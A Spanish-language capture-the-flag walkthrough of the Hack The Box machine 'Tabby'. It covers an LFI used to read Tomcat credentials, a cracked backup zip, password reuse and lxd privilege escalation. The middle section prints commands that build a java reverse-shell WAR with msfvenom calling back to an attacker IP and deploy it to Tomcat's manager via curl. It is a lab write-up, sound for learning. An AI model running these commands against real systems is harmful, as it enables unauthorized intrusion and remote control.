HTB — Tabby

CrhystamiL
4 min readDec 16, 2020

Iniciamos con un clásico escaneo de puertos para saber que servicios que están corriendo este host.

Tenemos 3 puertos:

22 : no realizaremos ningún ataque ya que toma mucho tiempo hacer ataques de fuerza bruta y no es vulnerable a algún ataque.

80: Analicemos y busquemos algo vulnerable.

8080: Un Tomcat, busquemos vulnerabilidades o malas configuraciones.

Iniciemos con el puerto 80, hay un portal web y buscando archivos o directorios con wfuzz no encontré nada interesante pero navegando por el portal si encontré un LFI (Local File Inclusion) una vulnerabilidad interesante.

Abusando del LFI no pude encontrar archivos muy interesantes. Ahora toca ver ese Tomcat.

En el tomcat solo encontré archivos de una clásica configuración por defecto, pero en la primera pagina muestra donde se encuentran los archivos de configuración y la documentación de tomcat9.

Se tiene diferentes rutas (paths) del tomcat y podemos tratar de visualizarlo en el LFI, al inicio no tuve éxito pero después de ver algo de documentación ya se encontró información mas útil.

https://ubuntu.pkgs.org/20.04/ubuntu-universe-i386/tomcat9_9.0.31-1_all.deb.html

Ahora que se tiene las credenciales, acceder y tratar de subir una shell no sera muy complicado.

Después de entender un poco Tomcat no puedo subir una shell a través del portal de administración, pero si puedo aprovecharme del manager-script esto nos ayuda a desplegar una app pero a través de su API.

#creamos una shell reversamsfvenom -p java/shell_reverse_tcp lhost=10.10.14.31 lport=31333 -f war -o pwn.war# Desplegamos nuestra shell.curl -v -u tomcat:$pass — upload-file pwn.war “http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true"# abrimos nuestro puerto a la escucha con msfconsole o netcat# ingresamos al portal para tener shell.http://10.10.10.194:8080/foo

Ahora ya tenemos shell y podemos ver todos los directorios, revisando los archivos encontré un archivo backup interesante.

El archivo .zip pide una contraseña que no tengo, después de buscar buen rato algo que me indicios de la contraseña busque la forma de hacer fuerza bruta al archivo. Gracias a san google existe un comando fcrackzip que hará ese trabajo por mi :).

Revisando los archivo no había nada que nos sea de ayuda, lo ultimo que nos queda es probar la contraseña encontrada. Con la shell que tenemos veremos si nos sirve para el usuario ash y mi alegría fue buena porque funciono.

Ya tenemos el user.txt, ahora vamos por ROOT.

Al tener el usuario ash me tomo buen tiempo encontrar alguna forma de elevar privilegios, probé varias opciones como buscar scripts, binarios con permisos, sudo no funciona. pero al ver el comando id note que había lxd (algo parecido a docker), recordé que con docker se puede elevar privilegios y bueno también con este.

Con el articulo de HackTricks explicaba bien lo que tenia que hacer, pero a mi no me servia jaja, note que el comando lxc no se encontraba, me puse a buscar y buscar y al cambiar de usuario a Tomcat y ejecutar el comando me decía que no tenia permisos, pero al ejecutar el comando “ whereis lxc ” me decía la ruta de donde podía ejecutar.

Ahora que ya tengo la ruta solo queda ejecutar los comandos.

Listo de ahí solo se tenia que buscar el archivo root.txt

Este reto no fue complicado pero me tomo tiempo tener que buscar la ruta para conseguir la primera contraseña y darme cuenta del comando lxc.

Happy Hacking.

--

--

CrhystamiL

CEH, CyberSecurity Researcher,Ethical Hacker, GNU/Linux Lover.